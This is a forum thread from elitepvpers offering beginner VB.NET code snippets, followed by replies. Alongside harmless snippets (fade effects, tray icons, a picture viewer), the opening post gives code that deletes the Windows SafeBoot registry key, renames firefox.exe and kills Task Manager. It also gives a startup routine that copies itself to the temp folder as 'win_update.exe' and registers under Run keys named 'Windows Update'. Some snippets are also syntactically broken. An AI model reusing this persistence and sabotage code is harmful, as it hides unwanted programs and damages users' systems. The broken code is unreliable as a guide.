Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > General Coding > Coding Tutorials
You last visited: Today at 20:28

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[TUTORIAL]VB.NET Usefull Source Codes[HOT]

Discussion on [TUTORIAL]VB.NET Usefull Source Codes[HOT] within the Coding Tutorials forum part of the General Coding category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Feb 2011
Posts: 19
Received Thanks: 22
Talking [TUTORIAL]VB.NET Usefull Source Codes[HOT]

Useful Source Codes!
Here are some Usefull VB.NET source codes that you can include in your project!Hope you like them and remember to press THANKS if i helped :O

Open a Website
Code:
Process.Start("www.box.net")
Process.Start("www.myforum.net")
Open something
Code:
Shell("Notepad")
Shell("Calculator")
Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)
Kill a process
Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()
Rename a file
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
Delete a registry key
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
Create a registry key
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()
Text To Speech:
Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)
Fade in
Code:
For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.Refresh()
Threading.Thread.Sleep(100)
Next
Fade out:
Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next
Minimize To Tray
Just Add a Notifyicon
Code:
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

End If

End Sub

Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick

If Me.WindowState = FormWindowState.Minimized Then

Me.Show()

Me.WindowState = FormWindowState.Normal

End If

End Sub
Add Music To Your Tool:
First Add your music to Resources
Note: The File Type Of The Music must be .wav

Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)
Double Click Button2 (stop)
Code:
My.Computer.Audio.Stop()
Count Files In Folders:
Code:
Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString
Google Searcher
Add:
Process
Button

Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = ("http://www.google.co.uk/search?hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub
Case Example
Add:
1 Button
1 Textbox

Double Click the Button and write:
Code:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select
Login Example:
Add:
1 button

Click The Button and write:
Code:
If TextBox1.Text = "CodeBreaker" _
And TextBox2.Text = "TheEndGamer" Then
MsgBox("Welcome to spam.net")
Else
MsgBox("Euuhh? do i know u :S ?")
End If
Xfire Add Friender and status changer (Just an example)
Add:
2 buttons
1 webbrowser
2 textboxes

Button1.text = Change Status
Button2.text = Add Friend

Double Click Button1 and write:
Code:
WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)
Double Click Button2 and Write:
Code:
WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)
Add Your Application To Startup
Before Public Class Form1
Add:
Code:
Imports System.IO
Imports Microsoft.Win32
Now double click form1 and add the following Code:
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try
Picture Viewer:
Add:
1 Button
1 PictureBox

Double Click Button1 and write:
Code:
Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName)
Catch ex As Exception
End Try
If you have any problems leave a feedback and i will help you as fast as i can!Remember this is for educational purpose!

Credits Goes to Mondragon-KonideS--->PRESS THANKS IF I HELPED!
Konides is offline  
Thanks
18 Users
Old 02/20/2011, 01:27   #2
 
Mi4uric3's Avatar
 
elite*gold: 405
Join Date: Dec 2007
Posts: 6,615
Received Thanks: 6,358
Why would you use "CD-Rom Prank" and "Disable Firewall" in legal ways? ;D
elitepvpers.com doesn't support any Malware-Coding
Mi4uric3 is offline  
Thanks
1 User
Old 02/20/2011, 11:12   #3
 
elite*gold: 0
Join Date: Feb 2011
Posts: 19
Received Thanks: 22
oups..i'll edit it :P
Konides is offline  
Old 02/20/2011, 22:13   #4
 
Pati1112's Avatar
 
elite*gold: 0
Join Date: Apr 2009
Posts: 248
Received Thanks: 380
Nice Thread Thank You
Pati1112 is offline  
Old 03/03/2011, 14:59   #5
 
elite*gold: 0
Join Date: Feb 2011
Posts: 92
Received Thanks: 91
Cooles Tutorial !
You are cool ! xD
iCyberHack is offline  
Thanks
1 User
Old 03/14/2011, 22:27   #6
 
crossfireXfreak's Avatar
 
elite*gold: 0
Join Date: Jan 2011
Posts: 182
Received Thanks: 14
hey thanks
i have questions
what is a regestry key (im a coding noob)
and what is fadein/out
or Minimize To Tray
and add music dont work for me
and what is Count Files In Folders
pls answer
crossfireXfreak is offline  
Old 03/15/2011, 13:44   #7
 
elite*gold: 0
Join Date: Feb 2011
Posts: 19
Received Thanks: 22
Quote:
Originally Posted by crossfireXfreak View Post
hey thanks
i have questions
what is a regestry key (im a coding noob)
and what is fadein/out
or Minimize To Tray
and add music dont work for me
and what is Count Files In Folders
pls answer
regestry key:If you add this source to your project..the programm will start automatically when your pc starts
Minimize to Tray:Your programm will go at taskbar in minimize mode
Count file in folders:it will count how many files you have in a folder
hope i helped you :P
Konides is offline  
Thanks
2 Users
Old 03/21/2011, 15:53   #8
 
Kraizy​'s Avatar
 
elite*gold: 0
The Black Market: 471/0/0
Join Date: Apr 2010
Posts: 9,696
Received Thanks: 1,811
Quote:
Open something
Code:
Shell("Notepad")
Shell("Calculator")
Nice
But: "Shell" is outdated. Use Process.Start("notepad") instead like the way you are opening a website.
Kraizy​ is offline  
Thanks
2 Users
Old 04/26/2011, 01:02   #9

 
sarkoplata's Avatar
 
elite*gold: 166
Join Date: Apr 2009
Posts: 2,339
Received Thanks: 2,661
Nice codes ^^
Btw , can anyone help me ? I wanna learn how many "SRO_Client" processes are working.I add them to a Listview with it's Process ID and Processname but to do that at multi client i have to learn How many sro_client is working at back ground.Btw I am using VB.NET
sarkoplata is offline  
Old 05/18/2011, 18:00   #10

 
Reextion's Avatar
 
elite*gold: 407
Join Date: May 2009
Posts: 1,573
Received Thanks: 728
Quote:
Originally Posted by Konides View Post
Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

->
Code:
 My.Computer.FileSystem.DeleteFile("Hier der DateiPfad ..")
Einfacher ..

Und ne If Abfrage ob die blöde Datei überhaupt vorhanden ist geht damit ebenfalls :
Code:
 
        If My.Computer.FileSystem.FileExists("Pfad & Datei") = True Then
            My.Computer.FileSystem.DeleteFile("Pfad & Datei")
        Else : MsgBox("Gibt keine Datei zum löschen !! :-O")
        End If
Nur nen Tipp , spart man sich exakt 1 Zeile Code ! :O

Lg
Reextion is offline  
Thanks
1 User
Old 05/18/2011, 20:36   #11
 
Liikex3's Avatar
 
elite*gold: 0
Join Date: Dec 2010
Posts: 1,209
Received Thanks: 169
Kann man auf einer website auch ales finden ist net von ihm c&p..
Liikex3 is offline  
Old 05/19/2011, 08:23   #12
 
bestora's Avatar
 
elite*gold: 0
Join Date: Jan 2011
Posts: 1,191
Received Thanks: 177
pls add a process exist ....
bestora is offline  
Old 05/20/2011, 17:55   #13
 
Jay Niize's Avatar
 
elite*gold: 0
Join Date: Oct 2009
Posts: 4,851
Received Thanks: 3,417
Quote:
Originally Posted by bestora View Post
pls add a process exist ....


Learning by Doing.

btw. Nice list, but it does not help when you dont insert a description for each code.
Jay Niize is offline  
Thanks
1 User
Old 06/18/2011, 18:34   #14
 
mrapc's Avatar
 
elite*gold: 238
Join Date: Sep 2009
Posts: 2,327
Received Thanks: 1,164
It helped you only need Brain
All codes are clear when you know for what you want tu use it
mrapc is offline  
Old 06/19/2011, 20:14   #15
 
Kraizy​'s Avatar
 
elite*gold: 0
The Black Market: 471/0/0
Join Date: Apr 2010
Posts: 9,696
Received Thanks: 1,811
Quote:
Originally Posted by mrapc View Post
It helped you only need Brain
All codes are clear when you know for what you want tu use it
Not if you are new to this stuff...
Kraizy​ is offline  
Reply

Tags
basic, code, source, usefull, visual


Similar Threads Similar Threads
Source codes
05/09/2010 - WarRock - 5 Replies
man sieht ja oft hacks die fast identisch aus sehen wie blacklabel und ein nnn hack oder auch viele andere wie der mpgh hack von pixi und der gleiche auf türkisch sind die ganzen Source code eigentlich public oder wieso gibt es immer so viele hacks die indentisch sind? kann mir das mal jemand sagen bzw wenn die public sind mir sagen wo ich die her kriege?
[Release] Eo Source Codes [Maybe New]
04/29/2009 - EO PServer Guides & Releases - 6 Replies
I have found those source codes on net idk if they are newer or more worse or the same as Forcer's one or no ----Download Links---- New EO Source.rar Regards Spy520
Source Codes
03/25/2008 - General Gaming Discussion - 0 Replies
Hi wollte fragen ob wer nen Source Code von nem Aimbot bzw wallhack hat?
source codes?
09/09/2005 - World of Warcraft - 4 Replies
hi kann mir mal einer sagen wo ich entweder source codes von den hacks finde, würd mir das gerne mal ankucken um selber was machen zu können zur not würde auch ne seite mit allgemeinen tuts reichen.. was ich bis jetzt gefunden hab sind immer nur so redsälige seiten die was von objekten und shit erzählen und lauter so basiswissen irgendwie gibts scheinbar keine seiten für forgeschrittene also: hat jemand gute links ^^ ?? ich warte



All times are GMT +1. The time now is 20:29.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.